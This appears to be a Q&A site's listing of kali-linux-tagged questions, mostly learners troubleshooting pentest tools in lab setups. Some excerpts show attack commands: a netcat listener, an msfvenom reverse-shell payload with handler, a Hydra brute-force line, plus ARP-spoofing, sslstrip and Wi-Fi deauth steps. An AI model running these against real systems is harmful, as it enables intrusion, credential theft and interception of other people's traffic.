Questions tagged [kali-linux]
Offensive Security's penetration testing Linux distribution.
342
questions
0
votes
0answers
25 views
Can't connect to reverse shell – connection waits forever [migrated]
I've setup a simple Kali Linux machine on AWS and added a security group where all ports are open, then I executed:
nc -vlp 4444
Now, in my own personal computer I execute a simple Go program:
...
0
votes
0answers
64 views
aireplay-ng --fakeauth issue with deauth packet
I am new to Kali Linux and I want to check if ethical hacking and pentesting is my cup of tea. I'm trying to associate my wireless adapter with an AP via aireplay-ng --fakeauth, but every time I use ...
-1
votes
0answers
14 views
Dual boot Kali with Windows 10 (directly booting to Windows 10) [migrated]
I have a HP pavillion Laptop with 8Gb Ram and 1Tb HDD.
Recently booted Windows 10 with Kali. Followed these steps.
However when i m trying to restart it is directly booting to Windows 10.
In BIOS ...
0
votes
0answers
58 views
How to configure Burpsuite with Kali Vm
I have windows 10 OS and within it I have installed Vmware containing Kali Linux.
I want to intercept requests.
kali Vmware adapter is on NAT
Steps done:-
A) Burpsuite --> Proxy --> Options ...
-1
votes
0answers
17 views
How do I make Kali not sleep from login screen? [migrated]
I have Kali installed on Bare Metal to a laptop.
Well within specs:
i7
32GB memory
500GB SSD
System 76 laptop (2017 model)
Using the default Gnome instance of Kali
All updates ran as of 2019-07-26
...
0
votes
0answers
13 views
Is it possible to launch man in the middle attacks on ip addresses connected to a different network than the attacker's ip? [duplicate]
As the question stated, I am just wondering if there is a way to do this, perhaps using python or kali linux. I am trying to attack my raspberry pi that is on a different network than my pc (I have ...
0
votes
1answer
69 views
How Dirbuster find the files within a directory? (Differentiating between files and directories) [closed]
I am writing the python code of DIRBUSTER tool in kali linux but I got stuck at finding files that lies within directories. So my question is how can I differentiate between Files and Directories ...
1
vote
0answers
94 views
Reverse shell working with kali 2016, but not kali 2019.2, using Metasploit ms08_067_netapi
I have an unpatched Windows XP Home VM, a Kali 2019.2 VM and an old Kali 2016 VM. Using Metasploit's ms08_067_netapi module, I'm able to successfully get a reverse shell but only on the old Kali VM.
...
1
vote
0answers
47 views
Hydra gives different password each time (DVWA)
I've looked up this issue and everyone's problem was they didn't have the failed login string. I do. Trying to get into DVWA.
Here's my command
hydra 10.0.250.143 -l admin -P P.txt http-get-form "/...
0
votes
1answer
47 views
SSH Timed out problem [closed]
I can't connect to my kali linux ssh server running in Virtualbox through puTTY. I didn't make any changes to /etc/ssh/sshd_config file, besides Port and PermitRootLogin
That's how i booted up my ssh ...
0
votes
0answers
95 views
arp spoofing - arpspoof vs ettercap
I would like to perform a MiTM attack on my LAN and redirect all the traffic transmitted to my gateway.
I've got the goal using arpspoof tool of Kali but I am not able to do the same thing using ...
2
votes
0answers
80 views
Deauthentication attack failure
Presently I am trying (and failing) to successfully execute a deauthentication attack using Kali Linux. The process I'm using is:
airodump-ng --bssid MAC address here --channel channel # here --write ...
0
votes
0answers
46 views
What's the proper way to identify string values in hydra http post form
I've seen plenty of posts regarding the syntax for setting http post form's when using hydra and all of them just show username and password as being the only two keys when making a login post request....
0
votes
0answers
190 views
Problems relaying NTLMv2 with Responder and MultiRelay
I'm currently experimenting with mitm relay attacks using Responder.py and MultiRelay.py tool and running into problems. I have the following LAB setup:
Kali Box:
IP: 192.168.1.13
...
0
votes
0answers
44 views
Executable reverse shell payload won't execute on linux machine
Payload: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.222 LPORT=443 -f elf > hack.elf
Listener/Handler :exploit/multi/handler;set PAYLOAD linux/x86/shell/reverse_tcp;
So after ...
0
votes
1answer
109 views
Limiting the number of duplicate character types in crunch
I'm trying to generate a password list of 10 character passwords containing only a combination of 3 - 6 numbers and 3 - 6 uppercase letters.
I see option -d which allows a set limit of duplicates of ...
0
votes
0answers
81 views
Airodump-ng stops working after deauthentication attack
I'm using aircrack-ng on a pi to deauth a client that's connected to my wireless network. I run aireplay-ng and the attack succeeds but now airodump-ng wlan0mon stops returning any bssid, beacons...
...
0
votes
1answer
117 views
Wireshark - How to see the domain of HTTPS websites visited
How can I see the domain name of https websites that are visited on my network? I know I'm not able to see the full url, just the websites ip or domain. I think it my be possible with a reverse dns ...
0
votes
0answers
484 views
Meterpreter is failing to load any extension except the core commands
[*] Starting persistent handler(s)...
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
...
-4
votes
1answer
72 views
I just can't use social engeneering tool in kali [closed]
I'm doing an information security course, but one the main tools isn't working, I can't learn how to clone a site like this, look...
It keeps asking me to copy all the content inside www directory to ...
1
vote
0answers
264 views
aircrack-ng issue: No mon0 when run “airmon-ng start wlan0” and “No such BSSID available”
I have read many threads on StackExchange and some other blogs but none helped me. The issue is with aircrack-ng on Kali Linux. It gives me error No such BSSID available when I run aireply-ng. I think ...
0
votes
1answer
170 views
mitmf doesn't work when disabled ip forward
I have virtual machine windows connected to NAT network.
I also have kali linux virtual machine connected to same NAT network.
I have port forwarding disabled. cat /proc/sys/net/ipv4/ip_forward
gives ...
1
vote
2answers
412 views
Reverse shell refusing/difficulties to establish connection
I've been trying to reverse shell between different devices, however,
I'm never able to establish a connection or get a shell prompt
.
Let's say I have a Mac OSX as victim and use a raspberry Pi ...
0
votes
0answers
110 views
Unable to join airbase-ng AP
In a test environment, I am trying to spoof my basic router's Wi-Fi access point using the following:
Instructions: https://www.udemy.com/penetration-testing/learn/v4/t/lecture/2693224?start=0
USB Wi-...
0
votes
0answers
37 views
Generate a wordlist with strings that have no repeated characters [duplicate]
I am attempting to do this with crunch, but any method would be fine. I want to generate combinations of 6 characters in which no character is repeated. Note that I don't mean the -d function, as that ...
0
votes
0answers
127 views
Exploit TinyCore Linux 4.2.9 with DirtyCow remote from Kali Linux
Do you know if is possible execute an exploit from Kali Linux for obtain root privileges in a remote machine (that I have exploited before with a local user) with tiny-core Linux version 4.2.9, I've ...
-1
votes
1answer
210 views
wpscan is not show the real version
When I scan WordPress site with wpscan I see in the results that I have version 2.10.3 in WP Rocket
Title: WP Rocket <= 2.10.3 - Local File Inclusion (LFI)
| Fixed in: 2.10.4
But I when I ...
-1
votes
1answer
554 views
How to switch from Ubuntu 18.04 to kali linux? [closed]
I am using now ubuntu 18.04.1 and i wanna make dual boot with kali linux. How to do that?
1
vote
0answers
121 views
How can I get MITM attack using sslstrip to work?
I performed the following steps:
I modified iptables to forward to another port:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1000
I allowed port forwarding:
...
1
vote
1answer
262 views
DNS Hijack: Only spoofing sites listed in etter.dns
I'm trying to create a more practical DNS Hijack mitm attack. I do the traditional arp poison with dns_spoof method. I don't have any issues getting it to work. The intended domain redirects exactly ...
0
votes
2answers
2k views
MITM using ARP spoofing with Kali Linux running on VirtualBox with bridged wifi network adapter
At home I have two laptops (running on Windows). With one laptop (attacking laptop) I try to get in the middle of the connection of other laptop (victim laptop).
To do this is run Kali Linux in a ...
0
votes
1answer
579 views
SEToolkit Not Cloning Login Page
I am trying to clone a login page with SEToolkit in the latest version of Kali Linux. SEToolkit simply isn't working. I have tried running it with normal user privileges and sudo. I have placed in ...
0
votes
2answers
2k views
I couldn't deauth any devices using aireplay-ng command in kali linux
I am using Kali linux. I've updated all tools and services by apt-get update and apt-get upgrade.
I was using aircrack-ng for pentesting my wlan network.
I wanted to deauth any device connected to my ...
2
votes
1answer
200 views
Can't log in dvwa with a simple python program, even though login credentials are good
import requests
target_url = "http://127.0.0.1/dvwa/login.php"
data_dict = {"csrfmiddlewaretoken": "bbbfeed6e1aea50f14a51a331054022c", "username": "admin", "password": "password", "Login": "Submit"}
...
1
vote
0answers
262 views
Bettercap/ettercap unable to detect HTTP packets
Basically, I am trying to sniff the network traffic from my other computer. So here's the situation:
I am in a network, where:
192.168.1.1 - default gateway
192.168.1.24 - "victim" (my other ...
1
vote
1answer
5k views
Username and password files in Kali [duplicate]
I'm new to pen-testing world. I'm trying to learn how to gain access through telnet service opened on port 23.
I'm using Metasploit. The first approach I'm trying is using the telnet_login module to ...
1
vote
1answer
1k views
Kali.download website blocked by Kaspersky because of Trojan, is it safe?
So when I tried to dist upgrade my Kali, at the end my Antivirus blocked it from downloading from this website
Do all Kali Linux operating systems try to download from this webpage (http://kali....
0
votes
1answer
206 views
Switching to native meterpreter
I've managed to get a meterpreter session running between my Kali Linux and Windows 2016 Server by uploading a payload as an Apache Axis2 web service.
I want to change to a windows meterpreter(in ...
-4
votes
1answer
116 views
Reason behind Chrome not running in root user in kali Linux?
Why does Google Chrome not run as root user by default in Kali Linux? Is it a security issue?
1
vote
0answers
398 views
crunch password generation with multiple character sets
I'm trying to use crunch to generate a password list. However, if I add all necessary characters into one character set, as in:
file: charset_huge.lst
complex = [...
2
votes
1answer
294 views
Nmap --script-args usage?
I'm trying to use multiple Nmap --script-args at the same time.
$ nmap -vv -p80,443 --script http-errors --script-args "httpspider.url=/,httpspider.maxpagecount=3,httpspider.maxdepth=1" website.com
...
0
votes
1answer
352 views
Kali Linux: Run penetration test and generate report for particular site? [closed]
I am new in Kali Linux and recently one of my jobs is to use Kali Linux to scan a newly developed site and see if there are any security issue.
And after going through some courses I found that, in ...
-2
votes
1answer
100 views
Security testing alternatives on MacOS [closed]
Is it possible/feasible to set up a hacking machine that rivals a distribution like Kali Linux on MacOS, or will it never be possible for MacOS to rival a distribution like Kali in terms of hacking ...
3
votes
5answers
806 views
Cloud provider for Penetration Testing
I wish to set up a Kali Linux box on a cloud provider in order to perform same day penetration tests.
The issue I am having is finding a cloud provider such as AWS, Azure etc. for this.
For AWS they ...
0
votes
1answer
3k views
Kali Linux and Cell Phone Security
Are there any built in tools/programs in Kali Linux that specifically target cell phones? Furthermore, do any of these tools/programs work remotely without sending a listener to the target?
1
vote
0answers
299 views
SQLmap error (what happen if i have no parameters)
I have an error when I use sqlmap. The problem is: I use this dork https://www.exploit-db.com/ghdb/4301/
but I do not know how to use sqlmap with this type of sql injection.
I use the classic:
...
1
vote
0answers
171 views
Finding phishing sites to certain domain
My work currently involve finding phishing site to a certain domain/ company. I was wondering if there are some tools/ Online services that I can use to find phishing sites. I would like to know;
...
0
votes
1answer
142 views
location of msfconsole generated executable in Kali linux [closed]
I am new to security and pen testing. I am using metasploit to generate my payload. I have generated a payload using generate -t exe -f shell.exe.
But I cant find the location of the shell.exe ...
2
votes
1answer
3k views
unable to locate package Arpspoof [closed]
Can not find the tool arpspoof by using the apt-get install on Kali.
After checking by typing apt-cache search there is no result either.
Does this mean the tool is not available anymore?
Thanks.
1
vote
0answers
601 views
Connection errors on hack the box and vulnhub (Kali, virtual box) [closed]
Ill start by show my attacking machine network setup:
When trying to do a box on HTB or Vulnhub, I am sometimes able to ping it (nmap -Pn). Once I am able to ping a machine, I do a full nmap scan. ...
